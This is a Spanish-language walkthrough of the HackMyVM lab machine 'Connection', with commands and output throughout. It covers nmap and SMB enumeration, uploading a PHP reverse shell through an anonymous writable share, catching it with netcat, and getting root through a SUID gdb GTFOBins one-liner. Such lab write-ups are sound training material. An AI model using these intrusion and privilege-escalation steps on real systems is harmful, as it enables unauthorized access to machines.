Connection

Hoy vamos a realizar otra máquina de HackMyVM sencillita para ir poco a poco a otras más complicadas.

Reconocimiento de Puertos

En primer lugar averiguamos la IP de la máquina víctima:

sudo arp-scan -l | grep "PCS"
192.168.0.18  08:00:27:d9:da:c0 PCS Systemtechnik GmbH

Ahora realizamos el reconocimiento de puertos abiertos:

 nmap -p- --open -T5 -v -n 192.168.0.18

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Analizando vectores de ataque

Vamos a ver qué muestra el contenido web por el puerto 80:

Página por defecto de Apache2 de Debian en este caso, y si miramos el código no hay ninguna pista.

Ahora vamos a listar los recursos que nos figuran por SMB sin que pregunte contraseña:

❯ smbclient -N -L 192.168.0.18
Anonymous login successful

  Sharename       Type      Comment
  ---------       ----      -------
  share           Disk      
  print$          Disk      Printer Drivers
  IPC$            IPC       IPC Service (Private Share for uploading files)

Vamos a ver qué hay en “share”, al cual tenemos acceso:

❯ smbclient -N //192.168.0.18/share
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep 23 03:48:39 2020
  ..                                  D        0  Wed Sep 23 03:48:39 2020
  html                                D        0  Thu Nov 24 12:13:41 2022

    7158264 blocks of size 1024. 5341464 blocks available
smb: \> cd html
smb: \html\> ls
  .                                   D        0  Thu Nov 24 12:13:41 2022
  ..                                  D        0  Wed Sep 23 03:48:39 2020
  index.html                          N    10701  Wed Sep 23 03:48:45 2020

    7158264 blocks of size 1024. 5341464 blocks available

Bien, ahí tenemos el index.html por defecto que vimos por http anteriormente. En este punto, la idea está clara, subir una reverse shell de PHP. Usaremos la de pentestmonkey. Le configuramos nuestra IP y puerto deseado, y le damos permisos de ejecución con chmod +x php-reverse-shell.php. Ahora solo queda subirla:

smb: \html\> put php-reverse-shell.php
putting file php-reverse-shell.php as \html\php-reverse-shell.php (233,3 kb/s) (average 233,3 kb/s)

Nos ponemos en escucha con nc -nlvp 1234 y lanzamos la shell desde el navegador http://192.168.0.18/php-reverse-shell.php

Estamos dentro, por lo que lanzamos con Python una terminal interactiva y la tratamos para que nos funcione todo correctamente:

❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.24] from (UNKNOWN) [192.168.0.18] 46310
Linux connection 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
 08:58:00 up  2:17,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@connection:/$ export TERM=xterm
export TERM=xterm
www-data@connection:/$ export SHELL=bash
export SHELL=bash
www-data@connection:/$ 

Ahora solo nos queda ir a por la flag de user:

www-data@connection:/$ cd /home
cd /home
www-data@connection:/home$ ls
ls
connection
www-data@connection:/home$ cd connection
cd connection
www-data@connection:/home/connection$ ls
ls
local.txt
www-data@connection:/home/connection$ cat local.txt
cat local.txt

Escalada de privilegios

En este caso vamos a ver los binarios SUID que tenemos:

$ find / -type f -perm -4000 -ls 2>/dev/null
     3678     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   271481     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   273055    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   265674     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
   266157     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
   265821     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
   262208     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
   279120   7824 -rwsr-sr-x   1 root     root        8008480 Oct 14  2019 /usr/bin/gdb
   262204     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
   262203     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
   266155     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
   262206     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd

Podemos observar que tenemos el binario “gdb” del cual nos podemos aprovechar usando la ayuda de https://gtfobins.github.io/gtfobins/gdb/#suid para convertirnos en root:

www-data@connection:/$ /usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
proof.txt
# cat proof.txt 
cat proof.txt

Y con esto, habríamos terminado la máquina. Nos vemos en la siguiente.